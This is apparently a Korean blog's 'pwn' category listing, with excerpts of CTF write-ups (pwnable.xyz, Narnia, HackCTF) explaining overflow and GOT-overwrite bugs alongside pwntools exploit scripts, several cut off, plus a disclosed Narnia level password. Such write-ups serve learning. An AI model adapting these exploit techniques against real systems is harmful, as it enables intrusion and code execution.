목록pwn (23)
ii4gsp

파일을 다운로드 해주자. IDA로 열어보면 v5 + 7에 0xDEADBEEF를 넣고 scanf()함수로 v6, v7, v8에 입력을받는다. v5[v8 + 6]에 v6과 v7을 더한 값을 저장하고, 값을 출력한다. v5 + 7이 0xB000000B5면 win()함수를 실행하여 flag를 출력해준다. v5[0]에 -5,404,319,552,844,595,200을 입력해주고 v5[1]에 184,549,376을 입력해주면 된다. Exploit from pwn import * r = remote("svc.pwnable.xyz", 30003) r.sendline("-5404319552844595200 0 -6") r.sendline("184549376 0 -5") r.sendline("asd") r.interact..

#include int main(){ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; } EGG라는 이름의 환경변수에 쉘 코드를 넣어주면 된다. Narnia2 = nairiepecu

파일을 다운받아 주자. IDA로 파일을 열어보면 printf()함수로 2개의 주소를 출력해준다. binsh는 그냥 binsh라는 변수명을 가진 변수이다. s는 0x84 즉, 132byte만큼 할당되었고, ret까지는 136byte이다. exploit에서 gets()함수를 사용할것이다. pop ret gadget을 찾으면된다. pop ret = 0x80484ad Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3018) e = ELF('/home/ii4gsp/HackCTF/gift') gets = e.plt['gets'] pr = 0x80483ad r.recvuntil('Hey guyssssssssss here you are: ') binsh = int..

파일을 다운받아 주자. IDA로 열어보면 main()함수에서 look_at_me()함수를 호출한다. look_at_me()함수에서 gets()함수로 입력을받는다. v1은 0x18 즉, 24byte만큼 할당되었다. 이 파일은 NX-bit 보호기법이 걸려있다. 그리고 Dynamic Link Libc방식이 아닌 Static Link Libc라서 프로그램 내부에 함수가 많이 존재한다. NX-bit 보호기법때문에 쉘 코드를 실행시키지 못하는데 프로그램 내부 함수중에 mprotect()함수가 존재한다. mprotect()함수는 메모리 영역의 권한을 바꿀 수 있도록 해주어 인자에 7을 주면 RWX권한이 모두 주어진다. mprotect()함수로 bss영역에 권한을주고 쉘 코드를 올려 실행시키면 된다. Exploit f..

Heap Overflow 문제이다. 파일을 다운받아 주자. v3, v4에 각각 0x10 즉, 16byte만큼 할당되었다. v3 + 1, v4 + 1에 8byte를 또 할당한다. 그리고 fgets()함수로 4096byte만큼 입력을받고 strcpy()함수로 v3 + 1, v4 + 1에 복사를한다. 0x400826()함수는 flag를 출력해준다. v3 + 1에 heap overflow를 일으키고 v4 + 1에 exit의 got를 0x400826()함수로 덮어주면 된다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3016) e = ELF('/home/ii4gsp/HackCTF/beginner_heap.bin') payload1 = '' payload1..

파일을 다운받아 주자. IDA로 열어보면 cin으로 name에 입력을 받는다. name은 0x410 즉, 1040만큼 할당되었다. SFP 8byte를 더하여 1048byte dummy를 넣어주고 쉘을 실행해주는 spawn_shell()함수의 주소를 넣어주면 된다. spawn_shell()함수의 주소는 0x0000000000400897 이다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3013) payload = '' payload += '\x90' * 1048 payload += p64(0x0000000000400897) r.sendline(payload) r.interactive() 소스코드를 작성해주자.

파일을 다운받아 주자. IDA로 파일을 열어보면 get_poem(), get_author(), rate_poem()함수가 차례대로 실행되고, dword_6024E0가 1000000이라면 무한루프를 빠져나간다. reward()함수는 flag를 출력해준다. rate_poem()함수를 보면 s1에 "ESPR", "eat", "sleep" 등의 값이 있으면 dword_6024E0의 값을 100 증가시킨다. 하지만 get_poem()함수를 보면 dword_6024E0의 값을 0으로 초기화시킨다. get_author()함수를 보면 gets()함수로 입력을받는다. 두 변수의 주소이다. unk_6024A0와 dword_6024E0의 거리는 64byte차이가 난다. get_poem()함수에서 아무값이나 입력하고 get_..

파일을 다운받아 주자. IDA로 열어보면 s는 128만큼 할당받았다. fgets()함수에서는 133byte만큼 입력받는다. v5는 sup()함수를 가리키고있다. 128byte를 주고 shell()함수의 주소를 전달하면 쉘을 획득한다. shell()함수의 주소는 0x0804849B이다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3001) payload = '' payload += '\x90' * 128 payload += p32(0x0804849B) r.sendline(payload) r.interactive() 소스코드를 작성해주자.